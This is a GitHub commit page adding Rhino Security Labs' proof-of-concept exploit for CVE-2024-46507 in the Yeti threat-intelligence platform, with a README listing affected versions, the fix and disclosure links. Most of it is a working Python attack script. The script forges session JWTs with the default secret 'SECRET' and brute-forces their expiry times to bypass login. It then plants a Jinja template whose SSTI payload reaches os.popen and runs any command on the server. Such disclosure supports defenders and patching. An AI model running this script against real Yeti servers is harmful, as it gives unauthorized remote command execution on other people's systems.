Skip to content

Commit 5d27899

Browse files
authored
Merge pull request #16 from chebuya/master
Add CVE-2024-46507
2 parents ceb6882 + 4c6e8fb commit 5d27899

File tree

3 files changed

+143
-0
lines changed

3 files changed

+143
-0
lines changed

CVE-2024-46507/CVE-2024-46507.py

Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
import argparse
2+
import json
3+
import random
4+
import string
5+
import time
6+
7+
import jwt
8+
import requests
9+
10+
from tqdm import tqdm
11+
12+
def generate_jwt(username, secret_key, expires):
13+
header = {
14+
"alg": "HS256",
15+
"typ": "JWT"
16+
}
17+
18+
payload = {
19+
"sub": username,
20+
"enabled": True,
21+
"exp": expires
22+
}
23+
24+
token = jwt.encode(payload, secret_key, algorithm="HS256", headers=header)
25+
26+
decoded_token = jwt.decode(token, secret_key, algorithms=["HS256"])
27+
28+
return token
29+
30+
31+
def brute_jwt(target, username, secret_key):
32+
epoch = int(time.time())
33+
while True:
34+
# ~30 days of keyspace
35+
for i in tqdm(range(0, 2593000)[::-1]):
36+
jwt_token = generate_jwt(username, secret_key, epoch + i)
37+
38+
cookies = {
39+
'yeti_session': jwt_token
40+
}
41+
42+
response = requests.get(f'{target}/api/v2/auth/me', cookies=cookies)
43+
44+
if response.status_code == 401:
45+
continue
46+
47+
return jwt_token
48+
49+
print("Could not find JWT! Bruting keyspace again and hoping admin logs in")
50+
51+
52+
def login(target, username, password):
53+
form_data = {
54+
'username': username,
55+
'password': password
56+
}
57+
58+
return json.loads(requests.post(f'{target}/api/v2/auth/token', data=form_data).text)["access_token"]
59+
60+
def exploit(target, jwt_token, command):
61+
uuid_string = ''.join(random.choices(string.ascii_lowercase, k=16))
62+
cookies = {
63+
'yeti_session': jwt_token
64+
}
65+
headers = {
66+
'Content-Type': 'application/json',
67+
}
68+
json_data = {
69+
'observable': {
70+
'type': 'hostname',
71+
'value': uuid_string + '.com',
72+
},
73+
}
74+
observable_id = json.loads(requests.post(f'{target}/api/v2/observables/extended', cookies=cookies, headers=headers, json=json_data).text)["id"]
75+
76+
json_data = {
77+
'template': {
78+
'name': 'EXPLOIT-' + uuid_string,
79+
'template': 'value,tags\n{% for obj in data %}{{obj.value}},{{";".join(obj.tags.keys())}}\n{% endfor %}\n\n{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__[\'__import__\'](\'os\').popen("' + command + '").read()}}{%endif%}{% endfor %}',
80+
},
81+
}
82+
template_id = json.loads(requests.post(f'{target}/api/v2/templates/', cookies=cookies, headers=headers, json=json_data).text)["id"]
83+
84+
json_data = {
85+
'template_id': template_id,
86+
'observable_ids': [
87+
observable_id
88+
],
89+
'search_query': '',
90+
}
91+
print(requests.post(f'{target}/api/v2/templates/render', cookies=cookies, headers=headers, json=json_data).text)
92+
93+
94+
parser = argparse.ArgumentParser()
95+
parser.add_argument("-u", "--username", help="The target username")
96+
parser.add_argument("-p", "--password", help="The password of the user")
97+
parser.add_argument("-j", "--jwt-token", help="A valid JWT for the application")
98+
parser.add_argument("-t", "--target", help="The target application base URL", required=True)
99+
parser.add_argument("-c", "--command", help="The command to run", required=True)
100+
parser.add_argument("-s", "--secret", help="The JWT secret", default="SECRET")
101+
102+
args = parser.parse_args()
103+
target = args.target.rstrip("/")
104+
105+
if args.username and args.password:
106+
jwt_token = login(target, args.username, args.password)
107+
exploit(target, jwt_token, args.command)
108+
elif args.username and not args.password:
109+
jwt_token = brute_jwt(target, args.username, args.secret)
110+
exploit(target, jwt_token, args.command)
111+
elif args.jwt_token:
112+
exploit(target, args.jwt_token, args.command)
113+
else:
114+
print("Must provide either a username, username/password pair, or a JWT token")

CVE-2024-46507/README.md

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
# CVE-2024-46507: YETI platform SSTI
2+
3+
## Information
4+
**Description:** A Server-Side Template Injection (SSTI) vulnerability in Yeti platform
5+
6+
**Versions Affected:** v2.0 - v2.1.11
7+
8+
**Version Fixed:** 2.1.12
9+
10+
**Researcher:** https://x.com/_chebuya
11+
12+
**Disclosure Link:** https://rhinosecuritylabs.com/research/cve-2024-46507-yeti-server-side-template-injection-ssti/
13+
14+
**NIST CVE Link:** https://nvd.nist.gov/vuln/detail/CVE-2024-46507
15+
16+
## Proof-of-Concept Exploit
17+
### Description
18+
This bypasses authentication using a hardcoded JWT secret with a known username and exploits an SSTI.
19+
20+
### Usage/Exploitation
21+
```
22+
python3 exploit.py -u <USERNAME> -t http://<TARGET_IP> -c '<COMMAND>'
23+
```
24+
25+
### Demo
26+
https://github.com/user-attachments/assets/c898a953-be05-4331-b76a-d07600983d5c
27+
28+

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
# Rhino CVE Proof-of-Concept Exploits
22
A collection of proof-of-concept exploit scripts written by the team at Rhino Security Labs for various CVEs.
3+
* [CVE-2024-46507: Server-Side Template Injection in Yeti platform](CVE-2024-46507/)
34
* [CVE-2024-2449: Cross-Site Requets Forgery in Progress Kemp LoadMaster](CVE-2024-2449/)
45
* [CVE-2024-2448: Authenticated Command Injection in Progress Kemp LoadMaster](CVE-2024-2448/)
56
* [CVE-2024-2389: Progress Software Flowmon Unauthenticated Command Injection](CVE-2024-2389/)

0 commit comments

Comments
 (0)